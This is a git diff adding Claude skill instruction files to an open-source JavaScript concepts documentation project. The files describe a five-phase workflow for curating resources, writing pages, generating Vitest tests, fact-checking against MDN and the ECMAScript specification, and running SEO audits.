diff --git a/.claude/CLAUDE.md b/.claude/CLAUDE.md index a3b6e7d3..1e1d0f40 100644 --- a/.claude/CLAUDE.md +++ b/.claude/CLAUDE.md @@ -18,10 +18,22 @@ The project was recognized by GitHub as one of the **top open source projects of ``` 33-js-concepts/ ├── .claude/ # Claude configuration -│ └── CLAUDE.md # Project context and guidelines +│ ├── CLAUDE.md # Project context and guidelines +│ └── skills/ # Custom skills for content creation +│ ├── write-concept/ # Skill for writing concept documentation +│ ├── fact-check/ # Skill for verifying technical accuracy +│ ├── seo-review/ # Skill for SEO audits +│ ├── test-writer/ # Skill for generating Vitest tests +│ ├── resource-curator/ # Skill for curating external resources +│ └── concept-workflow/ # Skill for end-to-end concept creation ├── .opencode/ # OpenCode configuration -│ └── skill/ # Custom skills for content creation -│ └── write-concept/ # Skill for writing concept documentation +│ └── skill/ # Custom skills (mirrored from .claude/skills) +│ ├── write-concept/ # Skill for writing concept documentation +│ ├── fact-check/ # Skill for verifying technical accuracy +│ ├── seo-review/ # Skill for SEO audits +│ ├── test-writer/ # Skill for generating Vitest tests +│ ├── resource-curator/ # Skill for curating external resources +│ └── concept-workflow/ # Skill for end-to-end concept creation ├── docs/ # Mintlify documentation site │ ├── docs.json # Mintlify configuration │ ├── index.mdx # Homepage @@ -46,7 +58,7 @@ The project was recognized by GitHub as one of the **top open source projects of ├── CODE_OF_CONDUCT.md # Community standards ├── LICENSE # MIT License ├── package.json # Project metadata -├── opencode.json # OpenCode AI assistant configuration +├── opencode.jsonc # OpenCode AI assistant configuration └── github-image.png # Project banner image ``` @@ -398,7 +410,170 @@ Use the `/write-concept` skill when writing or improving concept documentation p The skill includes detailed guidance on title optimization (50-60 chars), meta descriptions (150-160 chars), keyword placement, and featured snippet optimization. -**Location:** `.opencode/skill/write-concept/SKILL.md` +**Location:** `.claude/skills/write-concept/SKILL.md` + +### fact-check Skill + +Use the `/fact-check` skill when verifying the technical accuracy of concept documentation. This skill provides comprehensive methodology for: + +- **Code Verification**: Verify all code examples produce stated outputs, run project tests +- **MDN/Spec Compliance**: Check claims against official MDN documentation and ECMAScript specification +- **External Resource Checks**: Verify all links work and descriptions accurately represent content +- **Misconception Detection**: Common JavaScript misconceptions to watch for (type coercion, async behavior, etc.) +- **Test Integration**: Instructions for running `npm test` to verify code examples +- **Report Template**: Structured format for documenting findings with severity levels + +**When to invoke:** +- Before publishing a new concept page +- After significant edits to existing pages +- When reviewing community contributions +- Periodic accuracy audits of existing content + +**What gets checked:** +- Every code example for correct output +- All MDN links for validity (not 404) +- API descriptions match current MDN documentation +- External resources (articles, videos) are accessible and accurate +- Technical claims are correct and properly nuanced +- No common JavaScript misconceptions stated as fact + +**Location:** `.claude/skills/fact-check/SKILL.md` + +### seo-review Skill + +Use the `/seo-review` skill when auditing concept pages for search engine optimization. This skill provides a focused audit checklist: + +- **27-Point Scoring System**: Systematic audit across 6 categories +- **Title & Meta Optimization**: Character counts, keyword placement, compelling hooks +- **Keyword Strategy**: Pre-built keyword clusters for all JavaScript concepts +- **Featured Snippet Optimization**: Patterns for winning position zero in search results +- **Internal Linking**: Audit of concept interconnections and anchor text quality +- **Report Template**: Structured SEO audit report with prioritized fixes + +**When to invoke:** +- Before publishing a new concept page +- When optimizing underperforming pages +- Periodic content audits +- After major content updates + +**Scoring Categories (30 points total):** +- Title Tag (4 points) +- Meta Description (4 points) +- Keyword Placement (5 points) +- Content Structure (6 points) +- Featured Snippets (4 points) +- Internal Linking (4 points) +- Technical SEO (3 points) — Single H1, keyword in slug, no orphan pages + +**Score Interpretation:** +- 90-100% (27-30): Ready to publish +- 75-89% (23-26): Minor optimizations needed +- 55-74% (17-22): Several improvements needed +- Below 55% (<17): Significant work required + +**Location:** `.claude/skills/seo-review/SKILL.md` + +### test-writer Skill + +Use the `/test-writer` skill when generating Vitest tests for code examples in concept documentation. This skill provides comprehensive methodology for: + +- **Code Extraction**: Identify and categorize all code examples (testable, DOM, error, conceptual) +- **Test Patterns**: 16 patterns for converting different types of code examples to tests +- **DOM Testing**: Separate file structure with jsdom environment for browser-specific code +- **Source References**: Line number references linking tests to documentation +- **Project Conventions**: File naming, describe block organization, assertion patterns +- **Report Template**: Test coverage report documenting what was tested and skipped + +**When to invoke:** +- After writing a new concept page +- When adding new code examples to existing pages +- When updating existing code examples +- To verify documentation accuracy through automated tests + +**Test Categories:** +- Basic value assertions (`console.log` → `expect`) +- Error testing (`toThrow` patterns) +- Async testing (Promises, async/await) +- DOM testing (jsdom environment, events) +- Floating point (toBeCloseTo) +- Object/Array comparisons (toEqual) + +**File Structure:** +``` +tests/{category}/{concept-name}/{concept-name}.test.js +tests/{category}/{concept-name}/{concept-name}.dom.test.js (if DOM examples) +``` + +**Location:** `.claude/skills/test-writer/SKILL.md` + +### resource-curator Skill + +Use the `/resource-curator` skill when finding, evaluating, or maintaining external resources (articles, videos, courses) for concept pages. This skill provides: + +- **Audit Process**: Check existing links for accessibility, accuracy, and relevance +- **Trusted Sources**: Prioritized lists of reputable article, video, and course sources +- **Quality Criteria**: Must-have, should-have, and red flag checklists +- **Description Writing**: Formula and examples for specific, valuable descriptions +- **Publication Guidelines**: Date thresholds for different topic categories +- **Report Template**: Audit report for documenting broken, outdated, and missing resources + +**When to invoke:** +- Adding resources to a new concept page +- Refreshing resources on existing pages +- Auditing for broken or outdated links +- Reviewing community-contributed resources +- Periodic link maintenance + +**Resource Targets:** +- Reference: 2-4 MDN links +- Articles: 4-6 quality articles +- Videos: 3-4 quality videos +- Courses: 1-3 (optional) + +**Trusted Sources Include:** +- Articles: javascript.info, MDN Guides, freeCodeCamp, 2ality, CSS-Tricks, dev.to +- Videos: Fireship, Web Dev Simplified, Fun Fun Function, Traversy Media, JSConf +- Courses: javascript.info, Piccalilli, freeCodeCamp, Frontend Masters + +**Location:** `.claude/skills/resource-curator/SKILL.md` + +### concept-workflow Skill + +Use the `/concept-workflow` skill for end-to-end creation of a complete concept page. This orchestrator skill coordinates all five specialized skills in optimal order: + +``` +Phase 1: resource-curator → Find quality external resources +Phase 2: write-concept → Write the documentation page +Phase 3: test-writer → Generate tests for code examples +Phase 4: fact-check → Verify technical accuracy +Phase 5: seo-review → Optimize for search visibility +``` + +**When to invoke:** +- Creating a brand new concept page from scratch +- Completely rewriting an existing concept page +- When you want the full end-to-end workflow with all quality checks + +**What it orchestrates:** +- Resource curation (2-4 MDN refs, 4-6 articles, 3-4 videos) +- Complete concept page writing (1,500+ words) +- Comprehensive test generation for all code examples +- Technical accuracy verification with test execution +- SEO audit targeting 90%+ score (24+/27) + +**Deliverables:** +- `/docs/concepts/{concept-name}.mdx` — Complete documentation page +- `/tests/{category}/{concept-name}/{concept-name}.test.js` — Test file +- Updated `docs.json` navigation (if new concept) +- Fact-check report +- SEO audit report (score 24+/27) + +**Estimated Time:** 2-5 hours depending on concept complexity + +**Example prompt:** +> "Create a complete concept page for 'hoisting' using the concept-workflow skill" + +**Location:** `.claude/skills/concept-workflow/SKILL.md` ## Maintainer diff --git a/.claude/skills/concept-workflow/SKILL.md b/.claude/skills/concept-workflow/SKILL.md new file mode 100644 index 00000000..0bcaf450 --- /dev/null +++ b/.claude/skills/concept-workflow/SKILL.md @@ -0,0 +1,513 @@ +--- +name: concept-workflow +description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review +--- + +# Skill: Complete Concept Workflow + +Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order: + +1. **Resource Curation** — Find quality learning resources +2. **Concept Writing** — Write the documentation page +3. **Test Writing** — Create tests for code examples +4. **Fact Checking** — Verify technical accuracy +5. **SEO Review** — Optimize for search visibility + +## When to Use + +- Creating a brand new concept page from scratch +- Completely rewriting an existing concept page +- When you want a full end-to-end workflow with all quality checks + +**For partial tasks, use individual skills instead:** +- Just adding resources? Use `resource-curator` +- Just writing content? Use `write-concept` +- Just adding tests? Use `test-writer` +- Just verifying accuracy? Use `fact-check` +- Just optimizing SEO? Use `seo-review` + +--- + +## Workflow Overview + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ COMPLETE CONCEPT WORKFLOW │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │ +│ │ +│ ┌──────────────────┐ │ +│ │ PHASE 1: RESEARCH │ │ +│ │ resource-curator │ Find MDN refs, articles, videos │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 2: WRITE │ │ +│ │ write-concept │ Create the documentation page │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 3: TEST │ │ +│ │ test-writer │ Generate tests for all code examples │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 4: VERIFY │ │ +│ │ fact-check │ Verify accuracy, run tests, check links │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ ┌──────────────────┐ │ +│ │ PHASE 5: OPTIMIZE│ │ +│ │ seo-review │ SEO audit and final optimizations │ +│ └────────┬─────────┘ │ +│ ▼ │ +│ OUTPUT: Complete, tested, verified, SEO-optimized concept page │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Phase 1: Resource Curation + +**Skill:** `resource-curator` +**Goal:** Gather high-quality external resources before writing + +### What to Do + +1. **Identify the concept category** (fundamentals, async, OOP, etc.) +2. **Search for MDN references** — Official documentation +3. **Find quality articles** — Target 4-6 from trusted sources +4. **Find quality videos** — Target 3-4 from trusted creators +5. **Evaluate each resource** — Check quality criteria +6. **Write specific descriptions** — 2 sentences each +7. **Format as Card components** — Ready to paste into the page + +### Deliverables + +- List of 2-4 MDN/reference links with descriptions +- List of 4-6 article links with descriptions +- List of 3-4 video links with descriptions +- Optional: 1-2 courses or books + +### Quality Gates + +Before moving to Phase 2: +- [ ] All links verified working (200 response) +- [ ] All resources are JavaScript-focused +- [ ] Descriptions are specific, not generic +- [ ] Mix of beginner and advanced content + +--- + +## Phase 2: Concept Writing + +**Skill:** `write-concept` +**Goal:** Create the full documentation page + +### What to Do + +1. **Determine the category** for file organization +2. **Create the frontmatter** (title, sidebarTitle, description) +3. **Write the opening hook** — Question that draws readers in +4. **Add opening code example** — Simple example in first 200 words +5. **Write "What you'll learn" box** — 5-7 bullet points +6. **Write main content sections:** + - What is [concept]? (with 40-60 word definition for featured snippet) + - Real-world analogy + - How it works (with diagrams) + - Code examples (multiple, progressive complexity) + - Common mistakes + - Edge cases +7. **Add Key Takeaways** — 8-10 numbered points +8. **Add Test Your Knowledge** — 5-6 Q&A accordions +9. **Add Related Concepts** — 4 Cards linking to related topics +10. **Add Resources** — Paste resources from Phase 1 + +### Deliverables + +- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx` +- File added to `docs.json` navigation (if new) + +### Quality Gates + +Before moving to Phase 3: +- [ ] Frontmatter complete (title, sidebarTitle, description) +- [ ] Opens with question hook +- [ ] Code example in first 200 words +- [ ] "What you'll learn" Info box present +- [ ] All required sections present +- [ ] Resources section complete +- [ ] 1,500+ words + +--- + +## Phase 3: Test Writing + +**Skill:** `test-writer` +**Goal:** Create comprehensive tests for all code examples + +### What to Do + +1. **Scan the concept page** for all code examples +2. **Categorize examples:** + - Testable (console.log, return values) + - DOM-specific (needs jsdom) + - Error examples (toThrow) + - Conceptual (skip) +3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js` +4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js` +5. **Write tests** for each code example with source line references +6. **Run tests** to verify all pass + +### Deliverables + +- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js` +- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js` +- All tests passing + +### Quality Gates + +Before moving to Phase 4: +- [ ] All testable code examples have tests +- [ ] Source line references in comments +- [ ] Tests pass: `npm test -- tests/{category}/{concept}/` +- [ ] DOM tests in separate file with jsdom directive + +--- + +## Phase 4: Fact Checking + +**Skill:** `fact-check` +**Goal:** Verify technical accuracy of all content + +### What to Do + +1. **Verify code examples:** + - Run tests: `npm test -- tests/{category}/{concept}/` + - Check any untested examples manually + - Verify output comments match actual outputs + +2. **Verify MDN/spec claims:** + - Click all MDN links — verify they work + - Compare API descriptions to MDN + - Check ECMAScript spec for nuanced claims + +3. **Verify external resources:** + - Check all article/video links work + - Skim content for accuracy + - Verify descriptions match content + +4. **Audit technical claims:** + - Look for "always/never" statements + - Verify performance claims + - Check for common misconceptions + +5. **Generate fact-check report** + +### Deliverables + +- Fact-check report documenting: + - Code verification results + - Link check results + - Any issues found and fixes made + +### Quality Gates + +Before moving to Phase 5: +- [ ] All tests passing +- [ ] All MDN links valid +- [ ] All external resources accessible +- [ ] No technical inaccuracies found +- [ ] No common misconceptions + +--- + +## Phase 5: SEO Review + +**Skill:** `seo-review` +**Goal:** Optimize for search visibility + +### What to Do + +1. **Audit title tag:** + - 50-60 characters + - Primary keyword in first half + - Ends with "in JavaScript" + - Contains compelling hook + +2. **Audit meta description:** + - 150-160 characters + - Starts with action word (Learn, Understand, Discover) + - Contains primary keyword + - Promises specific value + +3. **Audit keyword placement:** + - Keyword in title + - Keyword in description + - Keyword in first 100 words + - Keyword in at least one H2 + +4. **Audit content structure:** + - Question hook opening + - Code in first 200 words + - "What you'll learn" box + - Short paragraphs + +5. **Audit featured snippet optimization:** + - 40-60 word definition after "What is" H2 + - Question-format H2s + - Numbered steps for how-to content + +6. **Audit internal linking:** + - 3-5 related concepts linked + - Descriptive anchor text + - Related Concepts section complete + +7. **Calculate score** and fix any issues + +### Deliverables + +- SEO audit report with score (X/27) +- All high-priority fixes implemented + +### Quality Gates + +Before marking complete: +- [ ] Score 24+ out of 27 (90%+) +- [ ] Title optimized +- [ ] Meta description optimized +- [ ] Keywords placed naturally +- [ ] Featured snippet optimized +- [ ] Internal links complete + +--- + +## Complete Workflow Checklist + +Use this master checklist to track progress through all phases. + +```markdown +# Concept Workflow: [Concept Name] + +**Started:** YYYY-MM-DD +**Target Category:** {category} +**File Path:** `/docs/concepts/{concept-name}.mdx` +**Test Path:** `/tests/{category}/{concept-name}/` + +--- + +## Phase 1: Resource Curation +- [ ] MDN references found (2-4) +- [ ] Articles found (4-6) +- [ ] Videos found (3-4) +- [ ] All links verified working +- [ ] Descriptions written (specific, 2 sentences) +- [ ] Resources formatted as Cards + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 2: Concept Writing +- [ ] Frontmatter complete +- [ ] Opening hook written +- [ ] Opening code example added +- [ ] "What you'll learn" box added +- [ ] Main content sections written +- [ ] Key Takeaways added +- [ ] Test Your Knowledge added +- [ ] Related Concepts added +- [ ] Resources pasted from Phase 1 +- [ ] Added to docs.json (if new) + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 3: Test Writing +- [ ] Code examples extracted and categorized +- [ ] Test file created +- [ ] DOM test file created (if needed) +- [ ] All testable examples have tests +- [ ] Source line references added +- [ ] Tests run and passing + +**Test Results:** X passing, X failing + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 4: Fact Checking +- [ ] All tests passing +- [ ] Code examples verified accurate +- [ ] MDN links checked (X/X valid) +- [ ] External resources checked (X/X valid) +- [ ] Technical claims audited +- [ ] No misconceptions found +- [ ] Issues fixed + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Phase 5: SEO Review +- [ ] Title tag optimized (50-60 chars) +- [ ] Meta description optimized (150-160 chars) +- [ ] Keywords placed correctly +- [ ] Content structure verified +- [ ] Featured snippet optimized +- [ ] Internal links complete + +**SEO Score:** X/27 (X%) + +**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete + +--- + +## Final Status + +**All Phases Complete:** ⬜ No | ✅ Yes +**Ready to Publish:** ⬜ No | ✅ Yes +**Completed:** YYYY-MM-DD +``` + +--- + +## Execution Instructions + +When executing this workflow, follow these steps: + +### Step 1: Initialize + +```markdown +Starting concept workflow for: [CONCEPT NAME] + +Category: [fundamentals/functions-execution/web-platform/etc.] +File: /docs/concepts/[concept-name].mdx +Tests: /tests/[category]/[concept-name]/ +``` + +### Step 2: Execute Each Phase + +For each phase: + +1. **Announce the phase:** + ```markdown + ## Phase X: [Phase Name] + Using skill: [skill-name] + ``` + +2. **Load the skill** to get detailed instructions + +3. **Execute the phase** following the skill's methodology + +4. **Report completion:** + ```markdown + Phase X complete: + - [Deliverable 1] + - [Deliverable 2] + - Quality gates: ✅ All passed + ``` + +5. **Move to next phase** only after quality gates pass + +### Step 3: Final Report + +After all phases complete: + +```markdown +# Workflow Complete: [Concept Name] + +## Summary +- **Concept Page:** `/docs/concepts/[concept-name].mdx` +- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js` +- **Word Count:** X,XXX words +- **Code Examples:** XX (XX tested) +- **Resources:** X MDN, X articles, X videos + +## Quality Metrics +- **Tests:** XX passing +- **Fact Check:** ✅ All verified +- **SEO Score:** XX/27 (XX%) + +## Files Created/Modified +1. `/docs/concepts/[concept-name].mdx` (created) +2. `/docs/docs.json` (updated navigation) +3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created) + +## Ready to Publish: ✅ Yes +``` + +--- + +## Phase Dependencies + +Some phases can be partially parallelized, but the general flow should be: + +``` +Phase 1 (Resources) ──┐ + ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐ + │ │ + │ ┌───────────────────────────────────┘ + │ ▼ + └──► Phase 4 (Fact Check) ──► Phase 5 (SEO) +``` + +- **Phase 1 before Phase 2:** Resources inform what to write +- **Phase 2 before Phase 3:** Need content before writing tests +- **Phase 3 before Phase 4:** Tests are part of fact-checking +- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish + +--- + +## Skill Reference + +| Phase | Skill | Purpose | +|-------|-------|---------| +| 1 | `resource-curator` | Find and evaluate external resources | +| 2 | `write-concept` | Write the documentation page | +| 3 | `test-writer` | Generate tests for code examples | +| 4 | `fact-check` | Verify technical accuracy | +| 5 | `seo-review` | Optimize for search visibility | + +Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance. + +--- + +## Time Estimates + +| Phase | Estimated Time | Notes | +|-------|---------------|-------| +| Phase 1: Resources | 15-30 min | Depends on availability of quality resources | +| Phase 2: Writing | 1-3 hours | Depends on concept complexity | +| Phase 3: Tests | 30-60 min | Depends on number of code examples | +| Phase 4: Fact Check | 15-30 min | Most automated via tests | +| Phase 5: SEO | 15-30 min | Mostly checklist verification | +| **Total** | **2-5 hours** | For a complete concept page | + +--- + +## Quick Start + +To start the workflow for a new concept: + +``` +1. Determine the concept name and category +2. Load this skill (concept-workflow) +3. Execute Phase 1: Load resource-curator, find resources +4. Execute Phase 2: Load write-concept, write the page +5. Execute Phase 3: Load test-writer, create tests +6. Execute Phase 4: Load fact-check, verify accuracy +7. Execute Phase 5: Load seo-review, optimize SEO +8. Generate final report +9. Commit changes +``` + +**Example prompt to start:** + +> "Create a complete concept page for 'hoisting' using the concept-workflow skill" + +This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page. diff --git a/.claude/skills/fact-check/SKILL.md b/.claude/skills/fact-check/SKILL.md new file mode 100644 index 00000000..e9fef411 --- /dev/null +++ b/.claude/skills/fact-check/SKILL.md @@ -0,0 +1,649 @@ +--- +name: fact-check +description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation +--- + +# Skill: JavaScript Fact Checker + +Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript. + +## When to Use + +- Before publishing a new concept page +- After significant edits to existing content +- When reviewing community contributions +- When updating pages with new JavaScript features +- Periodic accuracy audits of existing content + +## What We're Protecting Against + +- Incorrect JavaScript behavior claims +- Outdated information (pre-ES6 patterns presented as current) +- Code examples that don't produce stated outputs +- Broken or misleading external resource links +- Common misconceptions stated as fact +- Browser-specific behavior presented as universal +- Inaccurate API descriptions + +--- + +## Fact-Checking Methodology + +Follow these five phases in order for a complete fact check. + +### Phase 1: Code Example Verification + +Every code example in the concept page must be verified for accuracy. + +#### Step-by-Step Process + +1. **Identify all code blocks** in the document +2. **For each code block:** + - Read the code and any output comments (e.g., `// "string"`) + - Mentally execute the code or test in a JavaScript environment + - Verify the output matches what's stated in comments + - Check that variable names and logic are correct + +3. **For "wrong" examples (marked with ❌):** + - Verify they actually produce the wrong/unexpected behavior + - Confirm the explanation of why it's wrong is accurate + +4. **For "correct" examples (marked with ✓):** + - Verify they work as stated + - Confirm they follow current best practices + +5. **Run project tests:** + ```bash + # Run all tests + npm test + + # Run tests for a specific concept + npm test -- tests/fundamentals/call-stack/ + npm test -- tests/fundamentals/primitive-types/ + ``` + +6. **Check test coverage:** + - Look in `/tests/{category}/{concept-name}/` + - Verify tests exist for major code examples + - Flag examples without test coverage + +#### Code Verification Checklist + +| Check | How to Verify | +|-------|---------------| +| `console.log` outputs match comments | Run code or trace mentally | +| Variables are correctly named/used | Read through logic | +| Functions return expected values | Trace execution | +| Async code resolves in stated order | Understand event loop | +| Error examples actually throw | Test in try/catch | +| Array/object methods return correct types | Check MDN | +| `typeof` results are accurate | Test common cases | +| Strict mode behavior noted if relevant | Check if example depends on it | + +#### Common Output Mistakes to Catch + +```javascript +// Watch for these common mistakes: + +// 1. typeof null +typeof null // "object" (not "null"!) + +// 2. Array methods that return new arrays vs mutate +const arr = [1, 2, 3] +arr.push(4) // Returns 4 (length), not the array! +arr.map(x => x*2) // Returns NEW array, doesn't mutate + +// 3. Promise resolution order +Promise.resolve().then(() => console.log('micro')) +setTimeout(() => console.log('macro'), 0) +console.log('sync') +// Output: sync, micro, macro (NOT sync, macro, micro) + +// 4. Comparison results +[] == false // true +[] === false // false +![] // false (empty array is truthy!) + +// 5. this binding +const obj = { + name: 'Alice', + greet: () => console.log(this.name) // undefined! Arrow has no this +} +``` + +--- + +### Phase 2: MDN Documentation Verification + +All claims about JavaScript APIs, methods, and behavior should align with MDN documentation. + +#### Step-by-Step Process + +1. **Check all MDN links:** + - Click each MDN link in the document + - Verify the link returns 200 (not 404) + - Confirm the linked page matches what's being referenced + +2. **Verify API descriptions:** + - Compare method signatures with MDN + - Check parameter names and types + - Verify return types + - Confirm edge case behavior + +3. **Check for deprecated APIs:** + - Look for deprecation warnings on MDN + - Flag any deprecated methods being taught as current + +4. **Verify browser compatibility claims:** + - Cross-reference with MDN compatibility tables + - Check Can I Use for broader support data + +#### MDN Link Patterns + +| Content Type | MDN URL Pattern | +|--------------|-----------------| +| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | +| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | +| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` | +| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` | +| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | + +#### What to Verify Against MDN + +| Claim Type | What to Check | +|------------|---------------| +| Method signature | Parameters, optional params, return type | +| Return value | Exact type and possible values | +| Side effects | Does it mutate? What does it affect? | +| Exceptions | What errors can it throw? | +| Browser support | Compatibility tables | +| Deprecation status | Any deprecation warnings? | + +--- + +### Phase 3: ECMAScript Specification Compliance + +For nuanced JavaScript behavior, verify against the ECMAScript specification. + +#### When to Check the Spec + +- Edge cases and unusual behavior +- Claims about "how JavaScript works internally" +- Type coercion rules +- Operator precedence +- Execution order guarantees +- Claims using words like "always", "never", "guaranteed" + +#### How to Navigate the Spec + +The ECMAScript specification is at: https://tc39.es/ecma262/ + +| Concept | Spec Section | +|---------|--------------| +| Type coercion | Abstract Operations (7.1) | +| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) | +| typeof | The typeof Operator (13.5.3) | +| Objects | Ordinary and Exotic Objects' Behaviours (10) | +| Functions | ECMAScript Function Objects (10.2) | +| this binding | ResolveThisBinding (9.4.4) | +| Promises | Promise Objects (27.2) | +| Iteration | Iteration (27.1) | + +#### Spec Verification Examples + +```javascript +// Claim: "typeof null returns 'object' due to a bug" +// Spec says: typeof null → "object" (Table 41) +// Historical context: This is a known quirk from JS 1.0 +// Verdict: ✓ Correct, though calling it a "bug" is slightly informal + +// Claim: "Promises always resolve asynchronously" +// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2) +// Verdict: ✓ Correct - even resolved promises schedule microtasks + +// Claim: "=== is faster than ==" +// Spec says: Nothing about performance +// Verdict: ⚠️ Needs nuance - this is implementation-dependent +``` + +--- + +### Phase 4: External Resource Verification + +All external links (articles, videos, courses) must be verified. + +#### Step-by-Step Process + +1. **Check link accessibility:** + - Click each external link + - Verify it loads (not 404, not paywalled) + - Note any redirects to different URLs + +2. **Verify content accuracy:** + - Skim the resource for obvious errors + - Check it's JavaScript-focused (not C#, Python, Java) + - Verify it's not teaching anti-patterns + +3. **Check publication date:** + - For time-sensitive topics (async, modules, etc.), prefer recent content + - Flag resources from before 2015 for ES6+ topics + +4. **Verify description accuracy:** + - Does our description match what the resource actually covers? + - Is the description specific (not generic)? + +#### External Resource Checklist + +| Check | Pass Criteria | +|-------|---------------| +| Link works | Returns 200, content loads | +| Not paywalled | Free to access (or clearly marked) | +| JavaScript-focused | Not primarily about other languages | +| Not outdated | Post-2015 for modern JS topics | +| Accurate description | Our description matches actual content | +| No anti-patterns | Doesn't teach bad practices | +| Reputable source | From known/trusted creators | + +#### Red Flags in External Resources + +- Uses `var` everywhere for ES6+ topics +- Uses callbacks for content about Promises/async +- Teaches jQuery as modern DOM manipulation +- Contains factual errors about JavaScript +- Video is >2 hours without timestamp links +- Content is primarily about another language +- Uses deprecated APIs without noting deprecation + +--- + +### Phase 5: Technical Claims Audit + +Review all prose claims about JavaScript behavior. + +#### Claims That Need Verification + +| Claim Type | How to Verify | +|------------|---------------| +| Performance claims | Need benchmarks or caveats | +| Browser behavior | Specify which browsers, check MDN | +| Historical claims | Verify dates/versions | +| "Always" or "never" statements | Check for exceptions | +| Comparisons (X vs Y) | Verify both sides accurately | + +#### Red Flags in Technical Claims + +- "Always" or "never" without exceptions noted +- Performance claims without benchmarks +- Browser behavior claims without specifying browsers +- Comparisons that oversimplify differences +- Historical claims without dates +- Claims about "how JavaScript works" without spec reference + +#### Examples of Claims to Verify + +```markdown +❌ "async/await is always better than Promises" +→ Verify: Not always - Promise.all() is better for parallel operations + +❌ "JavaScript is an interpreted language" +→ Verify: Modern JS engines use JIT compilation + +❌ "Objects are passed by reference" +→ Verify: Technically "passed by sharing" - the reference is passed by value + +❌ "=== is faster than ==" +→ Verify: Implementation-dependent, not guaranteed by spec + +✓ "JavaScript is single-threaded" +→ Verify: Correct for the main thread (Web Workers are separate) + +✓ "Promises always resolve asynchronously" +→ Verify: Correct per ECMAScript spec +``` + +--- + +## Common JavaScript Misconceptions + +Watch for these misconceptions being stated as fact. + +### Type System Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions | +| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types | +| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern | +| `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard | + +### Function Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec | +| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN | +| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec | +| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them | + +### Async Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation | +| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable | +| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test | +| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test | + +### Object Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test | +| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test | +| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN | +| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test | + +### Performance Misconceptions + +| Misconception | Reality | How to Verify | +|---------------|---------|---------------| +| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary | +| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark | +| Arrow functions are faster | No performance difference, just different behavior | Benchmark | +| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case | + +--- + +## Test Integration + +Running the project's test suite is a key part of fact-checking. + +### Test Commands + +```bash +# Run all tests +npm test + +# Run tests in watch mode +npm run test:watch + +# Run tests with coverage +npm run test:coverage + +# Run tests for specific concept +npm test -- tests/fundamentals/call-stack/ +npm test -- tests/fundamentals/primitive-types/ +npm test -- tests/fundamentals/value-reference-types/ +npm test -- tests/fundamentals/type-coercion/ +npm test -- tests/fundamentals/equality-operators/ +npm test -- tests/fundamentals/scope-and-closures/ +``` + +### Test Directory Structure + +``` +tests/ +├── fundamentals/ # Concepts 